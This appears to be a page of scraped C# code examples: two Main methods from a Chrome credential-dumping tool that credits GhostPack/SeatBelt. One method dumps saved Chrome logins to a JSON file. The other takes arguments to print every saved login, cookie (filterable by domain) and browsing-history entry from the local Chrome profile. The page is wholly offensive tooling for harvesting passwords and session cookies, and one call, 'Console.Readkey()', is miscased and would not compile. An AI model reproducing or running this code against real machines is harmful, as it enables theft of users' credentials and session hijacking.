static void Main(string[] args)
        {
            bool getLogins = true;

            ChromeCredentialManager chromeManager = new ChromeCredentialManager();


            try
            {
                if (getLogins)
                {
                    var logins = chromeManager.GetSavedLogins();
                    var json   = JsonConvert.SerializeObject(logins);
                    File.WriteAllText("../../files/savedlogins.json", json);
                    Console.WriteLine("Your datas was wrote to 'savedlogins.json' in 'files' folder!");
                }

                Console.WriteLine("[*] Done.");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Exception: {0}\n\n{1}", ex.Message, ex.StackTrace);
            }
            Console.Readkey();
        }
Beispiel #2
0
        static void Main(string[] args)
        {
            // Path builder for Chrome install location
            string homeDrive    = System.Environment.GetEnvironmentVariable("HOMEDRIVE");
            string homePath     = System.Environment.GetEnvironmentVariable("HOMEPATH");
            string localAppData = System.Environment.GetEnvironmentVariable("LOCALAPPDATA");

            string[] paths = new string[2];
            paths[0] = homeDrive + homePath + "\\Local Settings\\Application Data\\Google\\Chrome\\User Data";
            paths[1] = localAppData + "\\Google\\Chrome\\User Data";
            //string chromeLoginDataPath = "C:\\Users\\Dwight\\Desktop\\Login Data";

            string[] validArgs = { "all", "full", "logins", "history", "cookies" };

            bool getCookies          = false;
            bool getHistory          = false;
            bool getBookmarks        = false;
            bool getLogins           = false;
            bool useTmpFile          = false;
            bool useBCryptDecryption = false;

            ChromeCredentialManager chromeManager = new ChromeCredentialManager();

            // For filtering cookies
            List <String> domains = new List <String>();

            if (args.Length == 0)
            {
                Usage();
                return;
            }

            // Parse the arguments.
            for (int i = 0; i < args.Length; i++)
            {
                // Valid arg!
                string arg = args[i].ToLower();
                if (Array.IndexOf(validArgs, arg) != -1)
                {
                    if (arg == "all" || arg == "full")
                    {
                        getCookies = true;
                        getHistory = true;
                        getLogins  = true;
                    }
                    else if (arg == "logins")
                    {
                        getLogins = true;
                    }
                    else if (arg == "history")
                    {
                        getHistory = true;
                    }
                    else if (arg == "cookies")
                    {
                        getCookies = true;
                    }
                    else
                    {
                        Console.WriteLine("[X] Invalid argument passed: {0}", arg);
                    }
                }
                else if (getCookies && arg.Contains("."))
                {
                    // must be a domain!
                    domains.Add(arg);
                }
                else
                {
                    Console.WriteLine("[X] Invalid argument passed: {0}", arg);
                }
            }

            string[] domainArray = domains.ToArray();

            if (!getCookies && !getHistory && !getLogins)
            {
                Usage();
                return;
            }


            // Main loop, path parsing and high integrity check taken from GhostPack/SeatBelt
            try
            {
                if (getCookies)
                {
                    var cookies = chromeManager.GetCookies();
                    if (domainArray != null && domainArray.Length > 0)
                    {
                        foreach (var domain in domainArray)
                        {
                            var subCookies = HostCookies.FilterHostCookies(cookies, domain);
                            subCookies.Print();
                        }
                    }
                    else
                    {
                        foreach (var cookie in cookies)
                        {
                            cookie.Print();
                        }
                    }
                }

                if (getHistory)
                {
                    var history = chromeManager.GetHistory();
                    foreach (var item in history)
                    {
                        item.Print();
                    }
                }

                if (getLogins)
                {
                    var logins = chromeManager.GetSavedLogins();
                    foreach (var login in logins)
                    {
                        login.Print();
                    }
                }

                Console.WriteLine("[*] Done.");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Exception: {0}\n\n{1}", ex.Message, ex.StackTrace);
            }
        }